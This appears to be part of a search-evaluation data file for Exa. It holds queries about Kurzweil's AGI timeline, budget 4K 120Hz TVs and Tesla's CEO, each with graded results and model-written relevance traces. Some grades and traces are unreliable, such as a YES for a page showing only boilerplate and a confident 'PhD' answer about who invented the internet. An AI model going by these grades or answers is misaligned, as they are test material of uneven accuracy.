        "query": "AI AGI timeline Kurzweil",
        "grid_pos": [
            0,
            6
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Twitter",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and retrieve relevant information from Twitter about complex, cutting-edge topics in science, technology, law, and medicine. They require external knowledge to interpret abbreviations and jargon, and understanding of current events and ongoing debates in these fields. The queries are short and to the point, mimicking typical Google search behavior, while still being challenging and specific enough to test Exa's capabilities."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Law of Accelerating Returns",
                "url": "https://www.kurzweilai.net/the-law-of-accelerating-returns",
                "published_date": "2012-04-17",
                "text": "An analysis of the history of technology shows that technological change is exponential, contrary to the common-sense \u201cintuitive linear\u201d view. So we won\u2019t experience 100 years of progress in the 21st century \u2014 it will be more like 20,000 years of progress (at today\u2019s rate). The \u201creturns,\u201d such as chip speed and cost-effectiveness, also increase exponentially. There\u2019s even exponential growth in the rate of exponential growth. Within a few decades, machine intelligence will surpass human intelligence, leading to The Singularity \u2014 technological change so rapid and profound it represents a rupture in the fabric of human history. The implications include the merger of biological and nonbiological intelligence, immortal software-based humans, and ultra-high levels of intelligence that expand outward in the universe at the speed of light.\n You will get $40 trillion just by reading this essay and understanding what it says. For complete details, see below. (It\u2019s true that authors will do just about anything to keep your attention, but I\u2019m serious about this statement. Until I return to a further explanation, however, do read the first sentence of this paragraph carefully.)\nNow back to the future: it\u2019s widely misunderstood. Our forebears expected the future to be pretty much like their present, which had been pretty much like their past. Although exponential trends did exist a thousand years ago, they were at that very early stage where an exponential trend is so flat that it looks like no trend at all. So their lack of expectations was largely fulfilled. Today, in accordance with the common wisdom, everyone expects continuous technological progress and the social repercussions that follow. But the future will be far more surprising than most observers realize: few have truly internalized the implications of the fact that the rate of change itself is accelerating.\nThe Intuitive Linear View versus the Historical Exponential View\nMost long range forecasts of technical feasibility in future time periods dramatically underest",
                "model_trace": "Query Decomposition:\n1. [AI AGI timeline]: The document discusses the concept of accelerating returns and mentions that machine intelligence will surpass human intelligence within a few decades, leading to The Singularity. This implies a timeline for AGI (Artificial General Intelligence) -> ([1], SATISFIED)\n2. [Kurzweil]: The document is authored by Ray Kurzweil and is hosted on his official website -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document provides information on the timeline for AGI according to Kurzweil's perspective. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "http://www.kurzweilai.net/images/SingularityisNear_Chapter1.pdf",
                "published_date": null,
                "text": "Everyone takes the limits of his own vision for the limits of the world.\n\n-ARTHUR SCHOPENHAUER I am not sure when I first became aware of the Singularity. I'd have to say it was a progressive awakening. In the almost half century that I've immersed myself in computer and related technologies, I've sought to understand the meaning and purpose of the continual upheaval that I have witnessed at many levels. Gradually, I've become aware of a transforming event looming in the first half of the twenty-first century. Just as a black hole in space dramatically alters the patterns of matter and energy accelerating toward its event horizon, this impending Singularity in our future is increasingly transforming every institution and aspect of human life, from sexuality to spirituality.\n\nWhat, then, is the Singularity? It's a future period during which the pace of technological change will be so rapid, its impact so deep, that human life will be irreversibly transformed. Although neither utopian nor dystopian, this epoch will transform the concepts that we rely on to give meaning to our lives, from our business models to the cycle of human life, including death itself. Understanding the Singularity will alter our perspective on the significance of our past and the ramifications for our future. To truly understand it inherently changes one's view of life in general and one's own particular life. I regard someone who understands the Singularity and who has reflected on its implications for his or her own life as a \"singularitarian.\" 1 I can understand why many observers do not readily embrace the obvious implications of what I have called the law of accelerating returns (the inherent acceleration of the rate of evolution, with technological evolution as a continuation of biological evolution). After all, it took me forty years to be able to see what was right in front of me, and I still cannot say that I am entirely comfortable with all of its consequences.\n\nThe key idea underlying the impending Singularity is that the pace of ",
                "model_trace": "Query Decomposition:\n1. {AI AGI timeline}: This document discusses the Singularity, a concept closely related to AGI (Artificial General Intelligence), and mentions a transforming event in the first half of the twenty-first century. However, it does not provide a specific timeline for AGI -> ([2], UNSURE)\n2. {Kurzweil}: The document is from Kurzweil's website and contains his views -> ([1], SATISFIED)\n\nAssessment: The document is relevant to Kurzweil's views on the Singularity and technological change, but it does not provide a specific timeline for AGI. Since the key subcomponent {AI AGI timeline} is not clearly satisfied, the document is not fully helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "The Singularity Is Near - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/The_Singularity_is_Near",
                "published_date": "2004-06-30",
                "text": "From Wikipedia, the free encyclopedia\n\nThe Singularity Is Near: When Humans Transcend Biology Author Ray Kurzweil Country United States Language English Publisher Viking Publication date September 2005 Pages 652 ISBN 978-0-670-03384-3 OCLC 57201348 Dewey Decimal 153.9 LC Class QP376 .K85 Preceded by The Age of Spiritual Machines Followed by How to Create a Mind \n The Singularity Is Near: When Humans Transcend Biology is a 2005 non-fiction book about artificial intelligence and the future of humanity by inventor and futurist Ray Kurzweil.\n The book builds on the ideas introduced in Kurzweil's previous books, The Age of Intelligent Machines (1990) and The Age of Spiritual Machines (1999). In the book, Kurzweil embraces the term \"the singularity\", which was popularized by Vernor Vinge in his 1993 essay \"The Coming Technological Singularity.\" [1] \n Kurzweil describes his law of accelerating returns which predicts an exponential increase in technologies like computers, genetics, nanotechnology, robotics and artificial intelligence. Once the singularity has been reached, Kurzweil says that machine intelligence will be infinitely more powerful than all human intelligence combined. The singularity is also the point at which machines' intelligence and humans would merge; Kurzweil predicts this date: \"I set the date for the Singularity\u2014representing a profound and disruptive transformation in human capability\u2014as 2045\". [2]\n\nKurzweil characterizes evolution throughout all time as progressing through six epochs, each one building on the one before. He says the four epochs which have occurred so far are Physics and Chemistry, Biology and DNA, Brains, and Technology. Kurzweil predicts the singularity will coincide with the next epoch, The Merger of Human Technology with Human Intelligence. After the singularity he says the final epoch will occur, The Universe Wakes Up. [3] \n Kurzweil explains that evolutionary progress is exponential because of positive feedback; the results of one stage are used to create the next stage. Expon",
                "model_trace": "Query Decomposition:\n1. {AI AGI timeline}: The document discusses Kurzweil's predictions about the timeline for reaching the singularity, which involves artificial general intelligence (AGI) -> ([1], SATISFIED)\n2. {Kurzweil}: The document is about Ray Kurzweil's book and his predictions -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied as the document provides information about Kurzweil's timeline for AI and AGI. YES."
            },
            {
                "grade": "YES",
                "title": "The Dawn of the Singularity: A Visual Timeline of Ray Kurzweil's ...",
                "url": "https://futurism.com/images/the-dawn-of-the-singularity",
                "published_date": null,
                "text": "Futurism /Artificial Intelligence         Share This Image      Keep up. Subscribe to our daily newsletter to keep in touch with the subjects shaping our future.       Copyright \u00a9, Camden Media Inc All Rights Reserved. See our  User Agreement,  Privacy Policy and Data Use Policy. The material on this site may not be reproduced, distributed, transmitted, cached or otherwise used, except with prior written permission of Futurism. Articles may contain affiliate links which enable us to share in the revenue of any purchases made.Fonts by Typekit and Monotype.",
                "model_trace": "Query Decomposition:\n1. {AI AGI timeline}: The query is asking for a timeline related to Artificial General Intelligence (AGI).\n2. {Kurzweil}: The query specifically mentions Ray Kurzweil, who is known for his predictions about AI and the singularity.\n\nEvaluation:\n1. {AI AGI timeline}: The document title \"The Dawn of the Singularity: A Visual Timeline of Ray Kurzweil's ...\" suggests that it contains a timeline related to the singularity, which is closely related to AGI -> ([1], SATISFIED).\n2. {Kurzweil}: The document title explicitly mentions Ray Kurzweil, indicating that the content is about his predictions -> ([1], SATISFIED).\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Ray Kurzweil's Prediction Scorecard Now That ChatGPT Is Here",
                "url": "https://medium.com/@sgunnisonmiller/ray-kurzweils-prediction-scorecard-7d40ee2ff42a",
                "published_date": null,
                "text": "The futurist famous for projecting the singularity by 2045 has a track record. With generative AI now making waves, the hits and misses of his predictions may hold some insight as to how things might change over the next few years.           Ray Kurzweil talking during an engadement in 2008. (Photo taken by Ed Schipul.)  20 years ago, how close would you have predicted the ways in which computers and technology are a part of today\u2019s world? Would you have foreseen the social media boom? The smartphone? The drastic increase in people working remotely? Well about 20 years ago, a brilliant computer scientist by the name of Ray Kurzweil did make predictions on the future of tech. In fact, he made well over a hundred of them. He also made some bold predictions about what should happen in another 20 years. Kurzweil\u2019s foresight on the future of computers has received a lot of attention over the last couple of decades. Because he put all these prognostications out there, he sort of made a roadmap for us to assess our technological progress. But he also gave us a lot of prediction data that might not just hold lessons on what track we\u2019re on. They might give us an understanding of why some tech forecasts pan out and some don\u2019t. Today, Kurzweil is the Director of Engineering at Google and arguably the most renowned futurist of our time, especially when it comes to computer technology and artificial intelligence (AI). In his 2005 book,  The Singularity Is Near , he famously predicted that by 2045 the technological singularity will occur. Kurzweil defines the singularity as the moment when AI vastly surpasses all of human intelligence. And by that he meant Artificial Intelligence will think better than us, create better than us, and make better judgments than us in pretty much every aspect you can imagine. And now, we are essentially in the middle of Kurzweil\u2019s 40-year singularity timeline (2005\u20132045). Maybe then it\u2019s appropriate that at the moment the world is currently encountering ChatGPT. ChatGPT is a high-performance gene",
                "model_trace": "Query Decomposition:\n1. {AI AGI timeline}: The document discusses Ray Kurzweil's predictions, including his timeline for the singularity, which relates to AGI -> ([1], SATISFIED)\n2. {Kurzweil}: The document is specifically about Ray Kurzweil and his predictions -> ([1], SATISFIED)\n\nAssessment: The document clearly discusses Ray Kurzweil's predictions and timeline for AI and AGI, satisfying both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Elon's & Kurzweil's AI Predictions - Peter Diamandis",
                "url": "https://www.diamandis.com/blog/age-of-abundance-30-human-level-ai",
                "published_date": null,
                "text": "What happens when AI surpasses human-level intelligence? And WHEN exactly is this likely to happen? \n That\u2019s the focus of the next Metatrend in this Age of Abundance series.\u00a0 \n Human-level AI, often referred to as AGI (artificial general intelligence) or ASI (artificial super intelligence), has historically been defined as the ability of a machine program to pass the \u201cTuring Test,\u201d defined as the ability of an AI to perform human-level tasks in a fashion indistinguishable from us humans. This definition is no longer useful. \n For all intents and purposes, the Turing Test was passed, unceremoniously, sometime in the past 12 months. But no one is claiming we\u2019ve achieved AGI or ASI yet. \n Some, including futurist Ray Kurzweil and technologist Elon Musk, have argued that we may witness the emergence of true human-level AI before the end of this decade. Such powerful technology will allow any individual with an internet connection the ability to amplify their creativity, improve their problem-solving skills, and increase their earning capacity. \u00a0 \n Examples include OpenAI\u2019s GPT-4 (and soon GPT-5), Google DeepMind\u2019s recently released Gemini model, and the thousands of other large language models (LLMs) being developed around the world.\u00a0 \n And we\u2019re just getting started.\u00a0 \u00a0 \n The arrival of AGI/ASI will impact every industry: from healthcare and education to advertising and finance. It will alter how we raise our kids and lead our nations. \n  In today\u2019s blog, I\u2019ll summarize Ray\u2019s and Elon\u2019s predictions for the development of AGI/ASI. We\u2019ll begin with a background story on Ray, who\u2019s a dear friend, my Co-Founder of Singularity University, and one of our many AI experts who will be at the    Abundance Summit this coming March 2024    .  \n   Let\u2019s dive in\u2026\u00a0   \n  A Futurist Named Ray Kurzweil  \n In the annals of innovation, few names shine as brightly as Ray Kurzweil. An inventor and futurist, Ray's life has been a relentless pursuit of the future, marked by pioneering inventions and predictions that have captured the world",
                "model_trace": "Query Decomposition:\n1. {AI AGI timeline}: The document discusses predictions about the timeline for achieving AGI, including specific mentions of futurists like Ray Kurzweil -> ([1], SATISFIED)\n2. {Kurzweil}: The document specifically mentions Ray Kurzweil and his predictions regarding AGI -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses both subcomponents of the query by discussing the timeline of AGI and including Ray Kurzweil's predictions. YES."
            }
        ]
    },
    {
        "query": "cheapest 4k 120hz hdmi 2.1 tv",
        "grid_pos": [
            0,
            3
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and process complex, jargon-heavy requests typical of Google searches for consumer products and services. They require up-to-date knowledge of technology, home appliances, and consumer goods, as well as an understanding of specific technical terms and abbreviations. Each query is challenging in its own way:\n\n1. \"best ssd nvme pcie 4.0 2023\" - Requires knowledge of computer hardware, specifically solid-state drives, and understanding of current technology standards.\n\n2. \"cheapest 4k 120hz hdmi 2.1 tv\" - Tests understanding of TV specifications and the ability to find budget-friendly options with specific technical requirements.\n\n3. \"fastest ev charger home install\" - Challenges the system to understand electric vehicle terminology and home installation services.\n\n4. \"quietest robot vacuum pet hair\" - Requires comprehension of home appliance features and specific use cases (pet hair).\n\n5. \"most durable edc folding knife\" - Tests knowledge of everyday carry (EDC) items and understanding of durability in the context of folding knives.\n\nThese queries are realistic yet challenging, requiring Exa to parse technical jargon, understand abbreviations, and provide up-to-date information on consumer products and services."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "LG 75\" Class 4K UHD 2160P Smart TV 75UN6955ZUD - All Electro Deals",
                "url": "https://allelectrodeals.com/product/lg-75-class-4k-uhd-2160p-smart-tv-75un6955zud/",
                "published_date": "2022-04-11",
                "text": "Home Television LG 75\u2033 Class 4K UHD 2160P Smart TV 75UN6955ZUD\n\nAdd to wishlistAdded to wishlistRemoved from wishlist 0\n\nAdd to compare\n\nReal 4K clarity. A full display for fuller entertainment. It\u2019s Ultra High Definition in a real 4K display for four times the resolution of Full HD. A powerful processor enhances color, contrast, and clarity, while webOS and LG Channels deliver a huge library of content right to your fingertips\u2026.\n\nLast updated on January 30, 2023 11:40 am",
                "model_trace": "Query Decomposition:\n1. [cheapest]: The document does not provide any information about the price or comparison with other TVs -> ([0], UNSURE)\n2. [4k]: The document clearly states that the TV is 4K UHD -> ([1], SATISFIED)\n3. [120hz]: The document does not mention the refresh rate of the TV -> ([0], UNSURE)\n4. [hdmi 2.1]: The document does not mention the HDMI version -> ([0], UNSURE)\n5. [tv]: The document is about a TV -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {4k} and {tv}, which are both satisfied. However, the document lacks critical information about the refresh rate (120hz) and HDMI version (2.1), which are crucial for the user's query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Robot or human?",
                "url": "https://www.walmart.com/blocked?url=L2lwL1ZJWklPLU9MRUQtNjUtQ2xhc3MtNEstSERSLVNtYXJ0Q2FzdC1TbWFydC1UVi1PTEVENjUtSDEvMjMyODY3MjgzP2lyZ3djPTEmYW1wO3NvdXJjZWlkPWltcF9WUkFYSUJ4bWx4eUlXJTNBJTNBei1VMWsteTlHVWtBeWdSUmhJeFlKeTAwJmFtcDt2ZWg9YWZmJmFtcDt3bWxzcGFydG5lcj1pbXBfMjc3OTUmYW1wO2NsaWNraWQ9VlJBWElCeG1seHlJVyUzQSUzQXotVTFrLXk5R1VrQXlnUlJoSXhZSnkwMCZhbXA7c2hhcmVkaWQ9MTM0MTYxMiZhbXA7YWZmaWxpYXRlc19hZF9pZD02MTI3MzQmYW1wO2NhbXBhaWduX2lkPTkzODM=&uuid=9e9437a8-da2c-11ed-aa86-6b61495a546d&vid=&g=b",
                "published_date": "2023-01-01",
                "text": "Robot or human?\n\nActivate and hold the button to confirm that you\u2019re human. Thank You!\n\nTry a different method\n Terms of Use Privacy Policy Do Not Sell My Personal Information Request My Personal Information\n\n\u00a92023 Walmart Stores, Inc.",
                "model_trace": "Query Decomposition:\n1. {cheapest}: The document does not contain information about pricing -> ([0], UNSURE)\n2. {4k}: The document does not contain information about resolution -> ([0], UNSURE)\n3. {120hz}: The document does not contain information about refresh rate -> ([0], UNSURE)\n4. {hdmi 2.1}: The document does not contain information about HDMI specifications -> ([0], UNSURE)\n5. {tv}: The document does not contain information about televisions -> ([0], UNSURE)\n\nAssessment: The document does not contain any information relevant to the query. NO."
            },
            {
                "grade": "NO",
                "title": "Amazon.com: VIZIO P65-C1 65-Inch 4K Ultra HD Smart LED TV (2016 Model) : Electronics",
                "url": "https://www.amazon.com/dp/B01IRRHHT4?tag=hpstr00-20&geniuslink=true",
                "published_date": "2017-12-30",
                "text": "Skip to main content\n .us\n Delivering to Columbus 43215 Update location\n Electronics\n All Departments Alexa Skills Amazon Clinic Amazon Devices Amazon Fresh Amazon Pharmacy Amazon Warehouse Appliances Apps & Games Arts, Crafts & Sewing Audible Books & Originals Automotive Parts & Accessories Baby Beauty & Personal Care Books CDs & Vinyl Cell Phones & Accessories Clothing, Shoes & Jewelry Women Men Girls Boys Baby Collectibles & Fine Art Computers Credit and Payment Cards Digital Music Electronics Garden & Outdoor Gift Cards Grocery & Gourmet Food Handmade Health, Household & Baby Care Home & Business Services Home & Kitchen Industrial & Scientific Just for Prime Kindle Store Luggage & Travel Gear Luxury Stores Magazine Subscriptions Movies & TV Musical Instruments Office Products Pet Supplies Premium Beauty Prime Video Smart Home Software Sports & Outdoors Subscribe & Save Subscription Boxes Tools & Home Improvement Toys & Games Under $10 Video Games Whole Foods Market\n EN\n Hello, sign in\n Account & Lists Returns & Orders\n 0\n Cart\n All\n Disability Customer Support Valentine's Gifts Medical Care Groceries Best Sellers Amazon Basics Prime New Releases Today's Deals Customer Service Music Registry Books Pharmacy Amazon Home Fashion Gift Cards Luxury Stores Find a Gift Sell Toys & Games Smart Home Coupons Automotive Home Improvement Beauty & Personal Care Computers Household, Health & Baby Care Pet Supplies Works with Alexa Video Games\n All Electronics Deals Best Sellers TV & Video Audio & Home Theater Computers Camera & Photo Wearable Technology Car Electronics & GPS Portable Audio Cell Phones Office Electronics Musical Instruments New Arrivals Trade-In\n * Electronics\n * \u203a\n * Television & Video\n * \u203a\n * Televisions\n * \u203a\n * LED & LCD TVs\n We're sorry, an error has occurred. Please reload this page and try again.\n\nVIZIO P65-C1 65-Inch 4K Ultra HD Smart LED TV (2016 Model)\n\nCustomers also viewed these products\n\nPage 1 of 1 Start over Page 1 of 1\n Previous page\n 1. Hisense 55-Inch Class U6 Series Mini-LED ULED 4K UHD Goo",
                "model_trace": "Query Decomposition:\n1. {cheapest}: The document does not provide any information about the price or comparison of prices -> ([0], UNSURE)\n2. {4k}: The TV mentioned is a 4K Ultra HD TV -> ([1], SATISFIED)\n3. {120hz}: The document does not mention the refresh rate of the TV -> ([0], UNSURE)\n4. {hdmi 2.1}: The document does not mention the HDMI version -> ([0], UNSURE)\n5. {tv}: The document is about a TV -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {4k} and {tv}, both of which are satisfied. However, the query specifically asks for the cheapest option, which is not addressed in the document. Additionally, the document does not provide information on the refresh rate or HDMI version, which are critical for the user's intent.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Best 120Hz 4K TVs 2024: TVs for PS5 and Xbox Series X",
                "url": "https://www.techradar.com/best/120hz-4k-tvs",
                "published_date": null,
                "text": "The best 120Hz 4K TVs are essential for both gamers and movie lovers. The 4K resolution they deliver brings you extra pixels for better clarity and combined with a 120Hz refresh rate, your games and movies look buttery smooth. If you&#39;re a gamer, a 120Hz refresh rate means you\u2019ll not only see things much more clearly in motion, but you&#39;ll see faster response times \u2013 the best 120Hz TVs dominate our list of the best gaming TVs for these reasons. This guide also has 144Hz TVs in, which can be useful for PC gaming. These TVs all also support 120Hz for consoles. Meanwhile, 24fps movies can play without the frustrating judder you may have noticed on some cheaper TVs, if you have a source that can deliver this, such as an Apple TV 4K (2022). We test the best 120Hz TVs with the latest gaming consoles to make sure they work as intended, and we use specialist equipment to measure the input lag ourselves \u2013 it&#39;s not about what manufacturers claim, but about what you get in real life. We also check their image quality, naturally \u2013 everything still needs to look great!  The quick list  Want to cut to the chase and find out which 120Hz TVs are the best? Below, you\u2019ll find a roundup of our choices. You can also jump to a more detailed write-up of every TV for more information, based on our in-depth reviews.  \n  Best overall  \n The best 120Hz TV for most people \nThe Samsung S90C offers a whole host of gaming features including 4K 120Hz, plus a brighter and contrast-rich picture thanks to its exciting QD-OLED technology. \u00a0\n  Read more below  \n \n  Best budget TV   \n The best value 120Hz TV\u00a0 \nThe Hisense U8K provides up to 144Hz refresh rate, VRR, and ALLM for gaming and combines it with a bright enough picture for daytime use, all for an affordable price.\u00a0\n  Read more below  \n \n  Best for PS5  \n The best mid-range 120Hz TV for PS5\u00a0 \nThe X90L delivers great performance at a good price, and features Sony&#39;s &#39;Perfect for PS5&#39; tech, so you get the best HDR from that console, even at 120Hz.\n  Read more below  \n \n  ",
                "model_trace": "Query Decomposition:\n1. {cheapest}: The document mentions budget and value options but does not specifically focus on the cheapest -> ([1], UNSATISFIED)\n2. {4k}: The document is about 4K TVs -> ([1], SATISFIED)\n3. {120hz}: The document is about 120Hz TVs -> ([1], SATISFIED)\n4. {hdmi 2.1}: The document does not specify HDMI 2.1 support -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {4k} and {120hz}, which are both satisfied. However, the critical subcomponent {cheapest} is not satisfied as the document does not specifically focus on the cheapest options. NO."
            },
            {
                "grade": "YES",
                "title": "Best 120Hz 4K TV guide 2024: get your games smooth and ...",
                "url": "https://www.gamesradar.com/best-120hz-4k-tv/",
                "published_date": null,
                "text": "Menu        (Image credit: Samsung)    1.   The quick list   \n2.  Best overall \n3.  Best for most \n4.  Best value \n5.  Best Samsung \n6.  Best Sony \n7.  Best Mini LED \n8.  Best QLED \n9.  Best small panel \n10.  Best for deals    The best 4K 120Hz TV models are going to give your PS5 and Xbox Series X a boost, especially if you're into speedy FPS games with high frame rates. While consoles used to use 60Hz by default, with UK players being often stuck with 50Hz, the latest screens can now perform tricks that used to be associated with PC monitors. That's not to say using a faster display is mandatory, but it will help your living room setup feel a bit more slick. For now, the LG OLED G3 is our go-to 4K 120Hz TV, and it also happens to be our best gaming TV pick overall. However, there are a whole bunch of different displays out there that boast exceptional contrast, speedy response times, and overall performance prowess, not to mention some boast a 144Hz refresh rate that can rival the best gaming monitors. To take advantage of this, you\u2019ll need a display that\u2019s armed specifically with HDMI 2.1 compatibility. Looking for the term on spec sheets is a good way to ensure the display you\u2019re looking at isn\u2019t a standard 60Hz display, but you'll also want to make sure you're using the right HDMI cable. That's more important than you'd think, as older wires lack the bandwidth to handle 4K and faster visuals.\u00a0 As a helping hand, we're rounding up our favorite 120Hz 4K TVs, as we\u2019ve tested a wide selection of screens at different price points. While faster screens can cost a pretty penny, you'll also find models down below that will suit a variety of budgets big and small. It's also worth noting that while not all the best TVs for PS5 and Xbox Series X are 120Hz, this guide will specifically help you pick up something faster for your setup.  The quick list   \n  Best overall  \n  The best 120Hz 4K TV overall  \nWith a gorgeous OLED panel, game optimisation features, and full 4K 120fps support there's some serious grunt behind LG",
                "model_trace": "Query Decomposition:\n1. {cheapest}: The document mentions different price points but does not specifically focus on the cheapest option -> ([2], UNSURE)\n2. {4k}: The document is about 4K TVs -> ([1], SATISFIED)\n3. {120hz}: The document is specifically about 120Hz TVs -> ([1], SATISFIED)\n4. {hdmi 2.1}: The document mentions the importance of HDMI 2.1 compatibility for 4K 120Hz TVs -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {4k}, {120hz}, and {hdmi 2.1}, all of which are satisfied. Although the document does not specifically focus on the cheapest option, it does cover a range of price points which might include cheaper options. YES."
            },
            {
                "grade": "YES",
                "title": "The 6 Best 120Hz TVs - Summer 2024: Reviews",
                "url": "https://www.rtings.com/tv/reviews/best/120hz",
                "published_date": null,
                "text": "As more gamers are starting to use their TVs to play fast-paced games, TV manufacturers have to find ways to deliver the best gaming experience possible. Many TVs are starting to come out with fast refresh rates so that the screen draws a new image more often. TVs with a 120Hz refresh rate can help deliver a great gaming experience, and most of them are ideal for console gaming because they have HDMI 2.1 bandwidth for high-frame-rate games. While 120Hz TVs are mainly beneficial\u00a0for gamers,\u00a0you should look for a 120Hz\u00a0TV if you like the 'Soap Opera Effect' while watching movies or TV shows. You can learn more about a TV's refresh rate here.\nWe've bought and tested more than 375\u00a0TVs over the last nine years, and below are our recommendations for the best TVs you can buy that have a native 120Hz refresh rate.\u00a0Also see our recommendations for the best gaming TVs, the best TVs for the Xbox Series X, and the best TVs for PS5.\n \n  \n \n \n \n  \n \n \n \n \n \n Type\n \n \n \n OLED\n \n \n Sub-Type\n \n \n \n QD-OLED\n \n \n Resolution\n \n \n \n 4k\n \n Sizes\n 55\" 65\"\n \n \n \n \n The best 120Hz TV we've tested is the Samsung S95B OLED. It's an incredible TV with fantastic picture quality and great gaming features. It supports HDMI 2.1 bandwidth on all four of its HDMI ports, meaning you can take full advantage of multiple 4k @ 120Hz sources, like a PS5, Xbox Series X, or recent PC graphics card. It has a near-instantaneous response time that delivers a fantastic gaming experience, with no distracting ghosting or motion blur around fast-moving objects. You can react quickly to the action on-screen thanks to its incredibly low input lag, and it also supports some advanced gaming features like FreeSync variable refresh rate technology to reduce tearing.\nIt looks amazing in a dark room, as bright highlights in HDR content stand out incredibly well, with no distracting blooming or haloing around bright areas of the scene. Combined with its incredibly wide color gamut and great color volume, games in HDR look incredibly vivid and lifelike.\n \n  See our revie",
                "model_trace": "Query Decomposition:\n1. {cheapest}: The document does not mention the price of the TVs -> ([0], UNSURE)\n2. {4k}: The document mentions that the TVs have a 4k resolution -> ([1], SATISFIED)\n3. {120hz}: The document is specifically about 120Hz TVs -> ([1], SATISFIED)\n4. {hdmi 2.1}: The document mentions that the recommended TV supports HDMI 2.1 -> ([1], SATISFIED)\n5. {tv}: The document is about TVs -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {4k}, {120hz}, {hdmi 2.1}, and {tv}. All these subcomponents are SATISFIED. The subcomponent {cheapest} is tagged [0] and thus should be ignored in the final evaluation. Therefore, the document is helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "who is the ceo of tesla",
        "grid_pos": [
            0,
            8
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Person",
        "reasoning_trace": [
            "The queries generated are specific, detailed, and require a deep understanding of people, companies, and inventions to answer properly. They test Exa's ability to understand complex queries that go beyond simple keyword matching.\n\n1. \"who is the ceo of tesla\" - The answer is Elon Musk. This query requires knowledge of the leadership and key figures at major technology companies.\n\n2. \"what is the name of the person who founded apple\" - The answer is Steve Jobs. This query requires knowledge of the founders and history of major tech companies.\n\n3. \"what is the real name of the actor who played spiderman\" - The answer is Tom Holland. This query requires knowledge of actors and the characters they have portrayed.\n\n4. \"what is the nationality of the person who invented the telephone\" - The answer is Scottish. This query requires knowledge of the history of important inventions and their inventors.\n\n5. \"what is the highest degree earned by the person who invented the internet\" - The answer is PhD. This query requires knowledge of the educational background of important technology pioneers."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Elon Musk | Tesla",
                "url": "https://www.tesla.com/elon-musk",
                "published_date": "2023-01-01",
                "text": "Elon Musk co-founded and leads Tesla, SpaceX, Neuralink and The Boring Company.\nAs the co-founder and CEO of Tesla, Elon leads all product design, engineering and global manufacturing of the company's electric vehicles, battery products and solar energy products.\nSince the company\u2019s inception in 2003, Tesla\u2019s mission has been to accelerate the world\u2019s transition to sustainable energy. The first Tesla product, the Roadster sports car, debuted in 2008, followed by the Model S sedan, which was introduced in 2012, and the Model X SUV, which launched in 2015. Model S received Consumer Reports\u2019 Best Overall Car and has been named the Ultimate Car of the Year by Motor Trend, while Model X was the first SUV ever to earn 5-star safety ratings in every category and sub-category in the National Highway Traffic Safety Administration\u2019s tests. In 2017, Tesla began deliveries of Model 3, a mass-market electric vehicle with more than 320 miles of range, and unveiled Tesla Semi, which is designed to save owners at least $200,000 over a million miles based on fuel costs alone. In 2019, Tesla unveiled Cybertruck, which will have better utility than a traditional truck and more performance than a sports car, as well as the Model Y compact SUV, which began customer deliveries in early 2020.\nTesla also produces three energy storage products, the Powerwall home battery, the Powerpack commercial-scale battery, and Megapack, which is designed for utility-scale installations. In 2016, Tesla became the world\u2019s first vertically-integrated sustainable energy company with the acquisition of SolarCity, the leading provider of solar power systems in the United States, and in 2017 released Solar Roof \u2013 a beautiful and affordable energy generation product.\nAs lead designer at SpaceX, Elon oversees the development of rockets and spacecraft for missions to Earth orbit and ultimately to other planets. In 2008, the SpaceX Falcon 1 was the first privately developed liquid fuel rocket to reach orbit, and SpaceX made further history in 2017 by re-flying",
                "model_trace": "Query Decomposition:\n1. {CEO of Tesla}: This document explicitly states that Elon Musk is the co-founder and CEO of Tesla -> ([1], SATISFIED).\n\nAssessment: The document clearly provides the information that Elon Musk is the CEO of Tesla, which directly answers the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Elon Musk - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Elon_Musk",
                "published_date": "2004-08-18",
                "text": "Elon Musk FRS Musk in 2018 Born Elon Reeve Musk June 28, 1971 (age 51) Pretoria, Transvaal, South Africa Education University of Pennsylvania (BA, BS) Title \n Founder, CEO and chief engineer of SpaceX \nCEO and product architect of Tesla, Inc. \nOwner and CEO of Twitter \nPresident of the Musk Foundation \nFounder of the Boring Company, X Corp. and X.AI \nCo-founder of Neuralink, OpenAI, Zip2 and X.com (part of PayPal) \n Spouses \n Justine Wilson \n \u200b \u200b (m. 2000; div. 2008) \u200b \n Talulah Riley \n \u200b \u200b (m. 2010; div. 2012) \u200b \n\u200b\n \u200b (m. 2013; div. 2016) \u200b Partner Grimes (2018\u20132021) [1] Children 10 [a] [3] Parents Errol Musk (father) Maye Musk (mother) Family Musk family Awards List of honors and awards Order of Defence Merit (Knight - Cavaleiro) Signature \n Elon Reeve Musk FRS ( EE-lon ; born June 28, 1971) is a business magnate and investor. He is the founder, CEO and chief engineer of SpaceX; angel investor, CEO and product architect of Tesla, Inc.; owner and CEO of Twitter, Inc.; founder of the Boring Company; co-founder of Neuralink and OpenAI; and president of the philanthropic Musk Foundation. Musk is the second-wealthiest person in the world, according to both the Bloomberg Billionaires Index and Forbes 's Real Time Billionaires list as of May 2023 primarily from his ownership stakes in Tesla and SpaceX, with an estimated net worth of around $167 billion according to the Bloomberg and $176.2 billion according to the latter. [4] [5] [6] [7] \n Musk was born in Pretoria, South Africa, and briefly 